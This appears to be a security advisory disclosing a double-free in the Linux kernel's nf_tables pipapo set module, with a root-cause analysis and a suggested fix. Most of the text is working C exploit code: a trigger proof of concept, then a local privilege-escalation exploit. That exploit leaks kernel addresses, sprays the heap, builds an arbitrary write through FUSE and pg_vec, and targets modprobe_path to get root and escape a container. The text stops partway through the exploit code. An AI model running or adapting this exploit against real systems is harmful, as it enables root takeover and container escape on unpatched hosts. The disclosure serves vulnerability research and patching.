Summary
A critical double free vulnerability in the pipapo set module of the Linux kernel’s NFT subsystem has been discovered.
An unprivileged attacker can exploit this vulnerability by sending a specially crafted netlink message, triggering double-free error with high stability. The attacker can take advantage of kernel exploitation techniques to achieve local privilege escalation.
Credit
Two independent security researchers working with SSD Secure Disclosure.
Vendor Response
Linux has been notified of the vulnerability but has not provided any update since Feb 17th 2025, while there is a patch available, https://patchwork.ozlabs.org/project/netfilter-devel/patch/20250127234904.407398-1-pablo@netfilter.org/,it is unclear if it was merged.
Affected Versions
- Linux Kernel version 5.6-rc1 to version 6.13-rc3
With the following compile directives:
CONFIG_INIT_STACK_ALL_ZERO=n CONFIG_NETFILTER=y CONFIG_NF_TABLES=y CONFIG_USER_NS=y
CAP_NET_ADMIN – capability is also required.
Here CONFIG_INIT_STACK_ALL_ZERO must be set to n, because the vulnerability is triggered by an uninitialized local variable, while the hardening option will default initialize local variables to zero.
It has been observed that some distributions, such as the Red Hat Enterprise Linux (tested on almalinux 9.5, which claims to be binary compatible with RHEL), do not enable the CONFIG_INIT_STACK_ALL_ZERO option by default.
Technical Analysis
In nft_add_set_elem function in net/netfilter/nf_tables_api.c, elem is uninitialized in stack when CONFIG_INIT_STACK_ALL_ZERO config option is not set.
The function uses the NFTA_SET_ELEM_KEY user passed in to initialize elem content.
It only sets the memory content up to klen, while the remaining data is left unchanged, and will contain uninitialized data previously left on the stack.
The exact content of uninitialized value in elem.key.buf may depend on the kernel version as well as the compiler.
During experimentation, it was found that most of these values are pointers, which will contaminate the key, causing double free.
When these values happen to be all zero, the error path will not be triggered.
However, the attacker can achieve high stability by brute forcing all possible key lengths, and finding the key length that triggers the bug for that specific kernel.
When removing the element, thenft_pipapo_remove function first needs to match the key to find the element reference and remove it.
However, as previously identified, the key was uninitialized when inserting, so it will not find the element and remove it.
The element will be freed twice, thus causing a double free vulnerability.
The elem_priv will be freed twice. Meanwhile, the elem_priv size can vary from 32byte to 256byte, depending on an attacker-controlled input udata.
This provided extra capability for the attacker.
The vulnerability is similar to CVE-2023-4004, but additionally requires the kernel compile optionCONFIG_INIT_STACK_ALL_ZERO not set.
Suggest Fix
It is suggested that adding zero initialization to the variable struct nft_set_elem elem in nft_add_set_elem function in nf_tables_api.c.
Enabling the CONFIG_INIT_STACK_ALL_ZERO kernel compilation option also helps mitigate the vulnerability.
Proof of Concept
The following developed proof of concept code in poc.c. The main steps are as follows:
- Setup table and
pipapo set. The last field will have extra padding bytes, which is uninitialized and will trigger the vulnerability. - Delete the
setelem. Because the remove method doesn’t find the element, it will not remove the reference. This is the first free ofelem->priv. - Delete the whole set, to trigger the second free of
elem->priv.
#define _GNU_SOURCE 1#include <stdio.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <libnftnl/set.h>
#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_BLUE "\033[34m"
#define COLOR_DEFAULT "\033[0m"
#define COLOR_BOLD "\033[1m"
#define COLOR_BRIGHT_BLUE "\033[94m"
#define logd(fmt, ...) dprintf(2, "[*] %s:%d "
fmt "\n", __FILE__, __LINE__, # #__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_BLUE COLOR_BOLD "[+] %s:%d "
fmt "\n"
COLOR_DEFAULT, __FILE__, __LINE__, # #__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW COLOR_BOLD "[!] %s:%d "
fmt "\n"
COLOR_DEFAULT, __FILE__, __LINE__, # #__VA_ARGS__)
#define logs(fmt, ...) dprintf(2, COLOR_GREEN COLOR_BOLD "[+] %s:%d "
fmt "\n"
COLOR_DEFAULT, __FILE__, __LINE__, # #__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED COLOR_BOLD "[-] %s:%d "
fmt "\n"
COLOR_DEFAULT, __FILE__, __LINE__, # #__VA_ARGS__)
#define die(fmt, ...)\
do\ {
\
loge(fmt, # #__VA_ARGS__);\
loge("Exit at line %d", __LINE__);\
exit(1);\
} while (0)
static int tbl_cnt = 0;
static struct nftnl_set_elem * add_set_elem(struct nftnl_set * s, char * buf, size_t buflen) {
struct nftnl_set_elem * ele;
ele = nftnl_set_elem_alloc();
nftnl_set_elem_set(ele, NFTNL_SET_ELEM_KEY, buf, buflen);
nftnl_set_elem_add(s, ele);
return ele;
}
static struct nftnl_set * add_set(int klen) {
struct nftnl_set * a = NULL;
char buf[4096];
uint8_t field_lengths[16];
a = nftnl_set_alloc();
if (a == NULL) {
perror("OOM");
}
char tbl_name[200];
memset(tbl_name, 0, sizeof(tbl_name));
snprintf(tbl_name, sizeof(tbl_name), "table%d", tbl_cnt);
// printf("%s", tbl_name);
nftnl_set_set_str(a, NFTNL_SET_TABLE, tbl_name);
nftnl_set_set_str(a, NFTNL_SET_NAME, "set");
nftnl_set_set_u32(a, NFTNL_SET_FLAGS, NFT_SET_INTERVAL | NFT_SET_CONCAT);
nftnl_set_set_u32(a, NFTNL_SET_FAMILY, NFPROTO_IPV4);
nftnl_set_set_u32(a, NFTNL_SET_KEY_LEN, klen);
nftnl_set_set_u32(a, NFTNL_SET_KEY_TYPE, 13);
nftnl_set_set_u32(a, NFTNL_SET_ID, 1);
memset(field_lengths, 0x4, sizeof(field_lengths));
int idx = klen / 4 - 2;
int cnt = klen / 4;
field_lengths[idx] = 5;
// field_lengths[1] = 4;
// if (!nftnl_set_set_data(a, NFTNL_SET_DESC_CONCAT, field_lengths, 17))
// print_err("oversized NFTNL_SET_DESC_CONCAT data accepted");
if (nftnl_set_set_data(a, NFTNL_SET_DESC_CONCAT, field_lengths, cnt))
perror("setting NFTNL_SET_DESC_CONCAT failed");
return a;
}
void second_free(int klen) {
struct mnl_socket * nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr * nlh;
struct mnl_nlmsg_batch * batch;
int seq;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL)
die("mnl_socket_open");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
die("mnl_socket_bind");
seq = time(NULL);
struct nftnl_set * set = add_set(klen);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_DELSET, NFPROTO_IPV4,
NLM_F_ACK, seq++);
nftnl_set_elems_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0)
die("mnl_socket_sendto");
mnl_nlmsg_batch_stop(batch);
int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret == -1)
die("mnl_socket_recvfrom");
ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);
// if (ret < 0)
// die("mnl_cb_run");
mnl_socket_close(nl);
}
void first_free(int klen) {
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr * nlh;
struct mnl_socket * nl;
struct mnl_nlmsg_batch * batch;
int seq;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("mnl_socket_bind");
exit(EXIT_FAILURE);
}
seq = time(NULL);
struct nftnl_table * table = nftnl_table_alloc();
char tbl_name[200];
memset(tbl_name, 0, sizeof(tbl_name));
tbl_cnt++;
snprintf(tbl_name, sizeof(tbl_name), "table%d", tbl_cnt);
nftnl_table_set_str(table, NFTNL_TABLE_NAME, tbl_name);
nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, NFPROTO_IPV4);
// int klen = 18;
struct nftnl_set * set = add_set(klen);
char buf3[200];
memset(buf3, 0x31, sizeof(buf3));
add_set_elem(set, buf3, klen);
struct nftnl_set * set2 = add_set(klen);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE, NFPROTO_IPV4,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
seq++);
nftnl_table_nlmsg_build_payload(nlh, table);
// nftnl_table_free(table);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET, NFPROTO_IPV4,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, set);
// nftnl_set_free(set);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSETELEM, NFPROTO_IPV4,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_set_elems_nlmsg_build_payload(nlh, set);
// nftnl_set_free(set);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_DELSETELEM, NFPROTO_IPV4,
NLM_F_ACK, seq++);
nftnl_set_elems_nlmsg_build_payload(nlh, set2);
// nftnl_set_elem_nlmsg_build_payload(nlh, ele);
// nftnl_set_elem_free(ele);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
perror("mnl_socket_sendto");
exit(EXIT_FAILURE);
}
mnl_nlmsg_batch_stop(batch);
int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret == -1) {
perror("mnl_socket_recvfrom");
exit(EXIT_FAILURE);
}
ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);
if (ret < 0) {
perror("mnl_cb_run");
exit(EXIT_FAILURE);
}
mnl_socket_close(nl);
}
void write_file(const char * filename,
const char * buf, size_t buflen,
unsigned int flags) {
int fd;
fd = open(filename, O_WRONLY | O_CREAT | flags, 0755);
if (fd < 0) {
perror("open");
exit(EXIT_FAILURE);
}
if (write(fd, buf, buflen) != buflen) {
perror("write");
exit(EXIT_FAILURE);
}
close(fd);
}
void bring_interface_up(const char * ifname) {
int sockfd;
struct ifreq ifr;
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
memset( & ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, ifname, IFNAMSIZ);
ifr.ifr_flags |= IFF_UP;
ioctl(sockfd, SIOCSIFFLAGS, & ifr);
close(sockfd);
}
void configure_uid_map(uid_t old_uid, gid_t old_gid) {
char uid_map[128];
char gid_map[128];
sprintf(uid_map, "0 %d 1\n", old_uid);
sprintf(gid_map, "0 %d 1\n", old_gid);
write_file("/proc/self/uid_map", uid_map, strlen(uid_map), 0);
write_file("/proc/self/setgroups", "deny", strlen("deny"), 0);
write_file("/proc/self/gid_map", gid_map, strlen(gid_map), 0);
}
void do_unshare() {
if (unshare(CLONE_NEWUSER) < 0) {
perror("unshare");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) < 0) {
perror("unshare");
exit(EXIT_FAILURE);
}
}
void setup_env() {
uid_t uid = getuid();
gid_t gid = getgid();
do_unshare();
configure_uid_map(uid, gid);
bring_interface_up("lo");
// setup_nftable(10);
for (int j = 0; j < 10000; j++) {
for (int i = 0; i < 4; i++) {
first_free(10 + i * 8);
second_free(10 + i * 8);
}
}
}
int main(int argc, char * argv[]) {
setup_env();
return 0;
}
// gcc poc.c -o poc -lnftnl -lmnl -w
LPE Exploitation
Now that this vulnerability provides a strong double-free primitive, it’s easy to develop an exp. One feasible approach is as follows:
stage 1: Leak address to bypass KASLR
- Set the victim setelem’s size to 32 bytes, which will be in
kmalloc-cg-32cache, and trigger first free, but the setelem won’t be removed inpipaposet. - Spray many chains with 32 bytes size
NFTA_CHAIN_USERDATAto get the heap of the victim setelem back. - Trigger second free.
- Spray many
seq_operationsby opening"/proc/self/stat", and one of them will get the heap of the victim setelem back. - Dump all the chains we sprayed, and the
NFTA_CHAIN_USERDATAof one of them will be the content ofseq_operations, thus leaking the kernel symbol address, which allows us to bypass KASLR.
stage 2: Build arbitrary write primitive
- Spray 0x200 chains with 256 bytes size
NFTA_CHAIN_USERDATA, which will be inkmalloc-cg-256cache. - Free one chain at regular intervals to create several holes.
- Trigger first free of 256 bytes setelem, which will be located in one of the holes.
- Spray 0x100 chains with the same size again to fill all the holes.
- Trigger second free.
- Spray many
msg_msgwith 256 bytes sizemsg_msgseg, and one of them will overlap with one of the chains’ udata. Stuck the writing ofmsg_msgseg‘s content by FUSE. - Free all the chains for cross-cache attack.
- Spray many
pg_vecto get the page of victimmsg_msgsegback, and one of thepg_vecs will overlap with victimmsg_msgseg. - Release the write of
msg_msgseg, by which we modify thepg_vec‘s content to any address, and execute USMA attack to achieve arbitrary write.
stage 3: Execute privilege escalation and container escape
- Modify the
modprobe_pathto evil binary path by arbitrary write primitive. - Get root and escape the container.
#define _GNU_SOURCE 1
#define _FILE_OFFSET_BITS 64
#define FUSE_USE_VERSION 34#include <sys/xattr.h>
#include <fuse.h>
#include <sys/mman.h>
#include <stdio.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
#include <sys/timerfd.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <errno.h>
#include <pthread.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <libnftnl/set.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define COLOR_GREEN "\033[32m"
#define COLOR_RED "\033[31m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_BLUE "\033[34m"
#define COLOR_DEFAULT "\033[0m"
#define COLOR_BOLD "\033[1m"
#define COLOR_BRIGHT_BLUE "\033[94m"
#define logd(fmt, ...) dprintf(2, "[*] %s:%d "
fmt "\n", __FILE__, __LINE__, # #__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, COLOR_BLUE COLOR_BOLD "[+] %s:%d "
fmt "\n"
COLOR_DEFAULT, __FILE__, __LINE__, # #__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW COLOR_BOLD "[!] %s:%d "
fmt "\n"
COLOR_DEFAULT, __FILE__, __LINE__, # #__VA_ARGS__)
#define logs(fmt, ...) dprintf(2, COLOR_GREEN COLOR_BOLD "[+] %s:%d "
fmt "\n"
COLOR_DEFAULT, __FILE__, __LINE__, # #__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED COLOR_BOLD "[-] %s:%d "
fmt "\n"
COLOR_DEFAULT, __FILE__, __LINE__, # #__VA_ARGS__)
#define die(fmt, ...)\
do {
\
loge(fmt, # #__VA_ARGS__);\
loge("Exit at line %d", __LINE__);\
exit(1);\
} while (0)
void bind_core(int core) {
cpu_set_t cpu_set;
CPU_ZERO( & cpu_set);
CPU_SET(core, & cpu_set);
if (sched_setaffinity(0, sizeof(cpu_set_t), & cpu_set) == -1)
die("sched_setaffinity");
logd("Process binded to core %d", core);
}
void qword_dump(uint64_t * buf, uint64_t len) {
for (int i = 0; i < (len / 8); i++) {
printf("0x%016llx ", buf[i]);
if (i % 4 == 3) printf("\n");
}
printf("\n");
}
void write_file(const char * filename,
const char * buf, size_t buflen,
unsigned int flags) {
int fd;
fd = open(filename, O_WRONLY | O_CREAT | flags, 0755);
if (fd < 0)
die("open");
if (write(fd, buf, buflen) != buflen)
die("write");
close(fd);
}
void bring_interface_up(const char * ifname) {
int sockfd;
struct ifreq ifr;
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0)
die("socket");
memset( & ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, ifname, IFNAMSIZ);
ifr.ifr_flags |= IFF_UP;
ioctl(sockfd, SIOCSIFFLAGS, & ifr);
close(sockfd);
}
void configure_uid_map(uid_t old_uid, gid_t old_gid) {
char uid_map[128];
char gid_map[128];
sprintf(uid_map, "0 %d 1\n", old_uid);
sprintf(gid_map, "0 %d 1\n", old_gid);
write_file("/proc/self/uid_map", uid_map, strlen(uid_map), 0);
write_file("/proc/self/setgroups", "deny", strlen("deny"), 0);
write_file("/proc/self/gid_map", gid_map, strlen(gid_map), 0);
}
void do_unshare() {
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0)
die("unshare");
if (unshare(CLONE_NEWNET) < 0)
die("unshare");
}
uint64_t kernel_offset = 0;
uint64_t single_start = 0xffffffff815899d0;
uint64_t modprobe_path = 0xffffffff837e8c60;
bool leak = 0;
/*-----------------------------------------------fuse utils starts-------------------------------------------------------------*/
char * fuse_arg[] = {
"exploit",
"/tmp/foo",
NULL
};
int fuse_fd;
int fuse_command_pipe[2];
int fuse_reply_pipe[2];
int fuse_victim_command_pipe[2];
int fuse_victim_reply_pipe[2];
#define MNT_PATH "/tmp/foo"
int get_attr(const char * path, struct stat * stbuf) {
if (!strcmp(path, "/")) {
stbuf -> st_mode = S_IFDIR | 0755;
stbuf -> st_nlink = 2;
return 0;
} else {
stbuf -> st_mode = S_IFREG | 0644;
stbuf -> st_nlink = 1;
stbuf -> st_size = 0x1000;
return 0;
}
return -ENOENT;
}
int read_dir(const char * path, void * buf, fuse_fill_dir_t filler, off_t offset,
struct fuse_file_info * fi) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
if (!strcmp(path, "/"))
filler(buf, "slavin", NULL, 0);
return 0;
}
int evil_read(const char * path, char * buf, size_t size, off_t offset,
struct fuse_file_info * fi) {
char signal;
char tmp_buf[0x1000];
int err = read(fuse_command_pipe[0], & signal, 1);
if (err < 0)
die("read");
for (int i = 0; i < 0x1000; i += 8)
*
(uint64_t * )(tmp_buf + i) = (kernel_offset + modprobe_path) & (~0xfff);
if (size > 0x1000)
size = 0x1000;
if (size + offset > 0x1000)
size = 0x1000 - offset;
memcpy(buf, tmp_buf + offset, size);
write(fuse_reply_pipe[1], & signal, 1);
return size;
}
struct fuse_operations fuse_ops = {
.getattr = get_attr,
.readdir = read_dir,
.read = evil_read,
};
/*-----------------------------------------------fuse utils ends-------------------------------------------------------------*/
static struct nftnl_set * add_set() {
struct nftnl_set * a = NULL;
char buf[4096];
uint8_t field_lengths[16];
a = nftnl_set_alloc();
if (a == NULL)
die("OOM");
nftnl_set_set_str(a, NFTNL_SET_TABLE, "table");
nftnl_set_set_str(a, NFTNL_SET_NAME, "set");
nftnl_set_set_u32(a, NFTNL_SET_FLAGS, NFT_SET_INTERVAL | NFT_SET_CONCAT);
nftnl_set_set_u32(a, NFTNL_SET_FAMILY, NFPROTO_IPV4);
nftnl_set_set_u32(a, NFTNL_SET_KEY_LEN, 18);
nftnl_set_set_u32(a, NFTNL_SET_KEY_TYPE, 13);
nftnl_set_set_u32(a, NFTNL_SET_ID, 1);
memset(field_lengths, 0x4, sizeof(field_lengths));
field_lengths[0] = 13;
field_lengths[1] = 4;
if (nftnl_set_set_data(a, NFTNL_SET_DESC_CONCAT, field_lengths, 2))
die("setting NFTNL_SET_DESC_CONCAT failed");
return a;
}
static struct nftnl_set_elem * add_set_elem(struct nftnl_set * s, char * buf, size_t buflen) {
struct nftnl_set_elem * ele;
ele = nftnl_set_elem_alloc();
if (leak) { // stage 2: kmalloc-cg-256 double-free
char _buf_udata[214] = {
0
};
memset(_buf_udata, 0x41, sizeof(_buf_udata));
nftnl_set_elem_set(ele, NFTNL_SET_ELEM_USERDATA, _buf_udata, sizeof(_buf_udata));
}
nftnl_set_elem_set(ele, NFTNL_SET_ELEM_KEY, buf, buflen);
nftnl_set_elem_add(s, ele);
return ele;
}
void first_free() {
struct mnl_socket * nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr * nlh;
struct mnl_nlmsg_batch * batch;
int seq;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL)
die("mnl_socket_open");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
die("mnl_socket_bind");
seq = time(NULL);
struct nftnl_table * table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, "table");
nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, NFPROTO_IPV4);
struct nftnl_set * set = add_set();
struct nftnl_set * set2 = add_set();
char buf3[18] = {};
memset(buf3, 0x31, sizeof(buf3));
add_set_elem(set, buf3, sizeof(buf3));
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE, NFPROTO_IPV4,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
seq++);
nftnl_table_nlmsg_build_payload(nlh, table);
nftnl_table_free(table);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET, NFPROTO_IPV4,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSETELEM, NFPROTO_IPV4,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_set_elems_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_DELSETELEM, NFPROTO_IPV4,
NLM_F_ACK, seq++);
nftnl_set_elems_nlmsg_build_payload(nlh, set2);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0)
die("mnl_socket_sendto");
mnl_nlmsg_batch_stop(batch);
int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret == -1)
die("mnl_socket_recvfrom");
ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);
if (ret < 0)
die("mnl_cb_run");
mnl_socket_close(nl);
}
void second_free() {
struct mnl_socket * nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr * nlh;
struct mnl_nlmsg_batch * batch;
int seq;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL)
die("mnl_socket_open");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
die("mnl_socket_bind");
seq = time(NULL);
struct nftnl_set * set = add_set();
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_DELSET, NFPROTO_IPV4,
NLM_F_ACK, seq++);
nftnl_set_elems_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0)
die("mnl_socket_sendto");
mnl_nlmsg_batch_stop(batch);
int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret == -1)
die("mnl_socket_recvfrom");
ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);
if (ret < 0)
die("mnl_cb_run");
mnl_socket_close(nl);
}
/*------------------------------------nft_chain utils starts---------------------------------------*/
void alloc_chain(char * name) {
struct mnl_socket * nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr * nlh;
struct mnl_nlmsg_batch * batch;
int seq;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL)
die("mnl_socket_open");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
die("mnl_socket_bind");
seq = time(NULL);
struct nftnl_set * chain = nftnl_chain_alloc();
memset(buf, 0, sizeof(buf));
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "table");
nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, name);
if (!leak) { // stage 1: leak
char data[32];
memset(data, 0, 24);
nftnl_chain_set_data(chain, NFTNL_CHAIN_USERDATA, data, sizeof(data));
} else { // stage 2: pwn
char data[255];
memset(data, 0, 255);
nftnl_chain_set_data(chain, NFTNL_CHAIN_USERDATA, data, sizeof(data));
}
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWCHAIN, NFPROTO_IPV4,
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_chain_nlmsg_build_payload(nlh, chain);
nftnl_chain_free(chain);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0)
die("mnl_socket_sendto");
mnl_nlmsg_batch_stop(batch);
int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret == -1)
die("mnl_socket_recvfrom");
ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);
if (ret < 0)
die("mnl_cb_run");
mnl_socket_close(nl);
}
void free_chain(char * name) {
struct mnl_socket * nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr * nlh;
struct mnl_nlmsg_batch * batch;
int seq;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL)
die("mnl_socket_open");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
die("mnl_socket_bind");
seq = time(NULL);
struct nftnl_set * chain = nftnl_chain_alloc();
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "table");
nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, name);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_DELCHAIN, NFPROTO_IPV4,
NLM_F_ACK, seq++);
nftnl_chain_nlmsg_build_payload(nlh, chain);
nftnl_chain_free(chain);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0)
die("mnl_socket_sendto");
mnl_nlmsg_batch_stop(batch);
int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret == -1)
die("mnl_socket_recvfrom");
ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);
if (ret < 0)
die("mnl_cb_run");
mnl_socket_close(nl);
}
bool found_victim = false;
static int table_cb(const struct nlmsghdr * nlh, void * data) {
struct nftnl_chain * t;
char buf[4096];
uint32_t * type = data;
t = nftnl_chain_alloc();
if (t == NULL)
die("OOM");
if (nftnl_chain_nlmsg_parse(nlh, t) < 0)
die("nftnl_chain_nlmsg_parse");
uint32_t len;
uint64_t * db = nftnl_chain_get_data(t, NFTNL_CHAIN_USERDATA, & len);
qword_dump(db, len);
if (leak && !found_victim) {
char buf[255] = {
0
};
if (memcpy(buf, db, len)) {
found_victim = true;
}
} else if (db[0]) {
logs("Leak single_start: 0x%016llx", db[0]);
kernel_offset = db[0] - single_start;
logs("Kernel offset: 0x%016llx", kernel_offset);
leak = true;
}
nftnl_chain_free(t);
return MNL_CB_OK;
}
int read_chain(char * name) {
struct mnl_socket * nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr * nlh;
uint32_t portid, seq, type = NFTNL_OUTPUT_DEFAULT;
struct nftnl_chain * t = nftnl_chain_alloc();
int ret, family;
seq = time(NULL);
logd("read_chain: %s", name);
nlh = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETCHAIN, NFPROTO_IPV4,
NLM_F_ACK, seq);
